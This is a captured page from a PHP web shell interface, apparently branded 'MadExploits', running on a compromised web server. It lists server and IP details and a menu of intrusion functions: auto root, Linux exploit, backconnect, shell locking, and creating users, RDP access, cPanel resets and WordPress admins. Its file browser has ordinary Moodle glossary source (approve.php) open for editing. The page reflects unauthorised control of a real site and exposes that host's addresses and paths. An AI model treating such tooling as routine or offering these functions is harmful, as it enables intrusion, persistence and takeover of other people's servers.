Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.59.197
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
glossary /
[ HOME SHELL ]
Name
Size
Permission
Action
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
formats
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
README.txt
1.7
KB
-rw-r--r--
TODO.txt
607
B
-rw-r--r--
approve.php
2.22
KB
-rw-r--r--
deleteentry.php
2.76
KB
-rw-r--r--
edit.php
3.24
KB
-rw-r--r--
edit_form.php
6.72
KB
-rw-r--r--
editcategories.html
3.29
KB
-rw-r--r--
editcategories.php
10.82
KB
-rw-r--r--
export.php
2.62
KB
-rw-r--r--
exportentry.php
4.36
KB
-rw-r--r--
formats.php
9.5
KB
-rw-r--r--
import.php
15.35
KB
-rw-r--r--
import_form.php
1.14
KB
-rw-r--r--
index.php
4.34
KB
-rw-r--r--
lib.php
164.19
KB
-rw-r--r--
locallib.php
29.11
KB
-rw-r--r--
mod_form.php
10.57
KB
-rw-r--r--
print.php
6.89
KB
-rw-r--r--
rsslib.php
7.79
KB
-rw-r--r--
settings.php
3.82
KB
-rw-r--r--
showentry.php
3.12
KB
-rw-r--r--
showentry_ajax.php
3.77
KB
-rw-r--r--
sql.php
3.83
KB
-rw-r--r--
styles.css
2.5
KB
-rw-r--r--
tabs.php
3.86
KB
-rw-r--r--
upgrade.txt
1.25
KB
-rw-r--r--
version.php
1.2
KB
-rw-r--r--
view.php
19.23
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : approve.php
<?php require_once("../../config.php"); require_once("lib.php"); $eid = required_param('eid', PARAM_INT); // Entry ID $newstate = optional_param('newstate', 1, PARAM_BOOL); $mode = optional_param('mode', 'approval', PARAM_ALPHA); $hook = optional_param('hook', 'ALL', PARAM_CLEAN); $url = new moodle_url('/mod/glossary/approve.php', array('eid' => $eid, 'mode' => $mode, 'hook' => $hook, 'newstate' => $newstate)); $PAGE->set_url($url); $entry = $DB->get_record('glossary_entries', array('id'=> $eid), '*', MUST_EXIST); $glossary = $DB->get_record('glossary', array('id'=> $entry->glossaryid), '*', MUST_EXIST); $cm = get_coursemodule_from_instance('glossary', $glossary->id, 0, false, MUST_EXIST); $course = $DB->get_record('course', array('id'=> $cm->course), '*', MUST_EXIST); require_login($course, false, $cm); $context = context_module::instance($cm->id); require_capability('mod/glossary:approve', $context); if (($newstate != $entry->approved) && confirm_sesskey()) { $newentry = new stdClass(); $newentry->id = $entry->id; $newentry->approved = $newstate; $newentry->timemodified = time(); // wee need this date here to speed up recent activity, TODO: use timestamp in approved field instead in 2.0 $DB->update_record("glossary_entries", $newentry); // Trigger event about entry approval/disapproval. $params = array( 'context' => $context, 'objectid' => $entry->id ); if ($newstate) { $event = \mod_glossary\event\entry_approved::create($params); } else { $event = \mod_glossary\event\entry_disapproved::create($params); } $entry->approved = $newstate ? 1 : 0; $entry->timemodified = $newentry->timemodified; $event->add_record_snapshot('glossary_entries', $entry); $event->trigger(); // Update completion state $completion = new completion_info($course); if ($completion->is_enabled($cm) == COMPLETION_TRACKING_AUTOMATIC && $glossary->completionentries) { $completion->update_state($cm, COMPLETION_COMPLETE, $entry->userid); } // Reset caches. if ($entry->usedynalink) { \mod_glossary\local\concept_cache::reset_glossary($glossary); } } redirect("view.php?id=$cm->id&mode=$mode&hook=$hook");
Close